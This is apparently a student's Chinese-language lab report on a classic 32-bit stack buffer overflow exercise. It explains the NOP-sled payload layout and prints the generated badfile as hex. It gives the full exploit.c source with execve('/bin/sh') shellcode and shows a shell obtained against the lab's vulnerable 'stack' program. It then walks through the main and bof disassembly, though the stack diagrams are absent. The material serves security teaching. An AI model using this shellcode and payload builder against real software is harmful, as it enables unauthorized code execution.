软件与系统安全 - 栈溢出利用的分析
栈溢出利用的分析
进行以下文献阅读、实验操作和代码(指令)分析,撰写分析报告。
- 阅读 buffer_overflow.pdf 的第 4.1~4.7 节,理解栈溢出攻击的原理。
- 按照 README,运行 exploit 程序,生成 badfile。利用 xxd 分析 badfile,
同时分析 exploit.c 源代码,理解并解释为什么程序能够生成 badfile 的内容。
- 按照 README 运行 stack 程序,实施栈溢出利用,观察 shellcode 的执行
效果。
- 详细分析 stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
从 main 起始到调用 bof 函数执行、再到返回 main 的过程中关键的栈状态。解释
这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
包括但不限于:call fread 后,call bof 前,bof 内 call strcpy 前,bof 内 call strcpy
后,bof 内 ret 前,从 bof 返回 main 后)。
注:要求自己画栈状态,禁止从阅读材料中复制。
提交要求:
截止时间:4 月 17 日 23:59:59。
形式:分析报告(word 或 pdf),内含以上要求的分析内容、关键栈状态图
(不限画图软件,但必须自己画,粘贴到报告中)和对攻击过程的解释。
提交到助教邮箱(见第一次课“intro.pdf”),邮件标题:“[学号]姓名 - 软件与
系统安全作业 1”。
[TOC]
一、栈溢出攻击的原理
esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化
ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
eip
用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
在溢出数据内包含一段攻击指令,用攻击指令的起始地址覆盖掉返回地址。攻击指令一般都是用来打开 shell,从而可以获得当前进程的控制权,所以这类指令片段也被成为“shellcode”。
payload : padding1 + address of shellcode + padding2 + shellcode
padding1 处的数据可以随意填充(注意如果利用字符串程序输入溢出数据不要包含“\x00” ,否则向程序传入溢出数据时会造成截断),长度应该刚好覆盖函数的基地址。address of shellcode 是后面 shellcode 起始处的地址,用来覆盖返回地址。padding2 处的数据也可以随意填充,长度可以任意。shellcode 应该为十六进制的机器码格式。
只能得到大致但不确切的 shellcode 起始地址,解决办法是在 padding2 里填充若干长度的“\x90”。这个机器码对应的指令是 NOP (No Operation),也就是告诉 CPU 什么也不做,然后跳到下一条指令。有了这一段 NOP 的填充,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处,所以这种方法被称为 NOP Sled(中文含义是“滑雪橇”)。这样我们就可以通过增加 NOP 填充来配合试验 shellcode 起始地址。
二、exploit 与 badfile
badfile 文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 00000000: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000010: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000020: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000030: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000040: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000050: c7ca ffff c7ca ffff c7ca ffff c7ca ffff ................ 00000060: c7ca ffff 9090 9090 9090 9090 9090 9090 ................ 00000070: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000080: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000090: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000000f0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000130: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000140: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000150: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000160: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000170: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000180: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000190: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000001a0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000001b0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000001c0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000001d0: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 000001e0: 9090 9090 9090 9090 9090 9031 c050 682f ...........1.Ph/ 000001f0: 2f73 6868 2f62 696e 89e3 5053 89e1 99b0 /shh/bin..PS.... 00000200: 0bcd 8000 00
|
exploit.c 源代码分析
shellcode
分析见注释:
1 2 3 4 5 6 7 8 9 10 11 12 13
| char shellcode[] = "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ;
|
可实现的功能等同于:
1 2 3 4 5 6 7 8 9
| #include <unistd.h>
void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
|
此程序编译后为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 08049196 <main>: 8049196: f3 0f 1e fb endbr32 804919a: 8d 4c 24 04 lea 0x4(%esp),%ecx 804919e: 83 e4 f0 and $0xfffffff0,%esp 80491a1: ff 71 fc pushl -0x4(%ecx) 80491a4: 55 push %ebp 80491a5: 89 e5 mov %esp,%ebp 80491a7: 53 push %ebx 80491a8: 51 push %ecx 80491a9: 83 ec 10 sub $0x10,%esp 80491ac: e8 37 00 00 00 call 80491e8 <__x86.get_pc_thunk.ax> 80491b1: 05 4f 2e 00 00 add $0x2e4f,%eax 80491b6: 8d 90 08 e0 ff ff lea -0x1ff8(%eax),%edx 80491bc: 89 55 f0 mov %edx,-0x10(%ebp) 80491bf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80491c6: 8b 55 f0 mov -0x10(%ebp),%edx 80491c9: 83 ec 04 sub $0x4,%esp 80491cc: 6a 00 push $0x0 80491ce: 8d 4d f0 lea -0x10(%ebp),%ecx 80491d1: 51 push %ecx 80491d2: 52 push %edx 80491d3: 89 c3 mov %eax,%ebx 80491d5: e8 96 fe ff ff call 8049070 <execve@plt> 80491da: 83 c4 10 add $0x10,%esp 80491dd: 90 nop 80491de: 8d 65 f8 lea -0x8(%ebp),%esp 80491e1: 59 pop %ecx 80491e2: 5b pop %ebx 80491e3: 5d pop %ebp 80491e4: 8d 61 fc lea -0x4(%ecx),%esp 80491e7: c3 ret
|
其余代码分析,分析见注释:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
|
#include <stdlib.h> #include <stdio.h> #include <string.h>
#define BUFFER_SIZE 517 #define OFFSET 400
char shellcode[] = "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ;
void fillBuffer(char buffer[BUFFER_SIZE]) { int shellcodeSize = sizeof(shellcode);
long *returnAddress = (long *) (buffer+OFFSET);
long *bufferPtr = (long *) buffer;
int i; int shellcodeCounter = 0;
int shellcodeStartIndex = (BUFFER_SIZE-(shellcodeSize+1));
for (i = 0; i < 25; i++) { *bufferPtr = (long) returnAddress; bufferPtr++; }
for (i = shellcodeStartIndex; i < (BUFFER_SIZE-1); i++) { buffer[i] = shellcode[shellcodeCounter]; shellcodeCounter++; }
buffer[BUFFER_SIZE-1] = '\0'; }
void main(int argc, char **argv) { char buffer[BUFFER_SIZE];
FILE *badfile;
memset(&buffer, 0x90, BUFFER_SIZE);
fillBuffer(buffer);
badfile = fopen("./badfile", "w"); fwrite(buffer, BUFFER_SIZE, 1, badfile); fclose(badfile); }
|
三、运行 stack 读入 shellcode
1 2 3 4 5
| setarch i386 -R ./stack $ who hxn tty7 Apr 17 18:30 (:0) $ id uid=1000(hxn) gid=1000(hxn) groups=1000(hxn),4(adm),24(cdrom),27(sudo),29(audio),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
可以看出 shellcode 执行成功,我们获取了 shell
四、stack.asm 分析与栈溢出攻击的实现
详细分析 stack.asm 中的 main 函数及 bof 函数对应的汇编指令序列,画出
从 main 起始到调用 bof 函数执行、再到返回 main 的过程中关键的栈状态。解释
这些关键的栈状态,说明栈溢出攻击是如何实现的。(需要画出并解释的栈状态
包括但不限于:
- call fread 后,call bof 前,
- bof 内 call strcpy 前,
- bof 内 call strcpy 后,bof 内 ret 前,
- 从 bof 返回 main 后。
注:要求自己画栈状态,禁止从阅读材料中复制。
从 main 函数开始:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| 08049229 <main>: 8049229: f3 0f 1e fb endbr32 804922d: 8d 4c 24 04 lea 0x4(%esp),%ecx 8049231: 83 e4 f0 and $0xfffffff0,%esp 8049234: ff 71 fc pushl -0x4(%ecx) 8049237: 55 push %ebp 8049238: 89 e5 mov %esp,%ebp 804923a: 53 push %ebx 804923b: 51 push %ecx 804923c: 81 ec 10 02 00 00 sub $0x210,%esp 8049242: e8 e9 fe ff ff call 8049130 <__x86.get_pc_thunk.bx>
8049247: 81 c3 b9 2d 00 00 add $0x2db9,%ebx
# stack.c:23: badfile = fopen("badfile", "r"); 804924d: 83 ec 08 sub $0x8,%esp 8049250: 8d 83 08 e0 ff ff lea -0x1ff8(%ebx),%eax 8049256: 50 push %eax 8049257: 8d 83 0a e0 ff ff lea -0x1ff6(%ebx),%eax 804925d: 50 push %eax 804925e: e8 6d fe ff ff call 80490d0 <fopen@plt> 8049263: 83 c4 10 add $0x10,%esp 8049266: 89 45 f4 mov %eax,-0xc(%ebp)
# stack.c:24: fread(str, sizeof(char), 517, badfile); 8049269: ff 75 f4 pushl -0xc(%ebp) 804926c: 68 05 02 00 00 push $0x205 8049271: 6a 01 push $0x1 8049273: 8d 85 ef fd ff ff lea -0x211(%ebp),%eax 8049279: 50 push %eax 804927a: e8 11 fe ff ff call 8049090 <fread@plt>
|
进入 fread 函数
call fread 后,call bof 前 的栈状态:
fread 函数结束 返回 main
1 2 3 4 5 6 7
| 804927f: 83 c4 10 add $0x10,%esp
# stack.c:25: bof(str); 8049282: 83 ec 0c sub $0xc,%esp 8049285: 8d 85 ef fd ff ff lea -0x211(%ebp),%eax 804928b: 50 push %eax 804928c: e8 65 ff ff ff call 80491f6 <bof>
|
进入 bof 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 080491f6 <bof>: 80491f6: f3 0f 1e fb endbr32 80491fa: 55 push %ebp 80491fb: 89 e5 mov %esp,%ebp 80491fd: 53 push %ebx 80491fe: 83 ec 24 sub $0x24,%esp 8049201: e8 af 00 00 00 call 80492b5 <__x86.get_pc_thunk.ax> 8049206: 05 fa 2d 00 00 add $0x2dfa,%eax
# stack.c:15: strcpy(buffer, str); 804920b: 83 ec 08 sub $0x8,%esp 804920e: ff 75 08 pushl 0x8(%ebp) 8049211: 8d 55 e0 lea -0x20(%ebp),%edx 8049214: 52 push %edx 8049215: 89 c3 mov %eax,%ebx 8049217: e8 84 fe ff ff call 80490a0 <strcpy@plt>
|
1 2 3 4 5 6 7
| 804921c: 83 c4 10 add $0x10,%esp 804921f: b8 01 00 00 00 mov $0x1,%eax
# stack.c:16: return 1; 8049224: 8b 5d fc mov -0x4(%ebp),%ebx 8049227: c9 leave 8049228: c3 ret
|
buf 函数结束 返回 main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 8049291: 83 c4 10 add $0x10,%esp
# stack.c:26: printf("Returned Properly\n"); 8049294: 83 ec 0c sub $0xc,%esp 8049297: 8d 83 12 e0 ff ff lea -0x1fee(%ebx),%eax 804929d: 50 push %eax 804929e: e8 0d fe ff ff call 80490b0 <puts@plt> 80492a3: 83 c4 10 add $0x10,%esp 80492a6: b8 01 00 00 00 mov $0x1,%eax 80492ab: 8d 65 f8 lea -0x8(%ebp),%esp 80492ae: 59 pop %ecx 80492af: 5b pop %ebx 80492b0: 5d pop %ebp 80492b1: 8d 61 fc lea -0x4(%ecx),%esp 80492b4: c3 ret
|
全部流程:
参考资料
https://zhuanlan.zhihu.com/p/25816426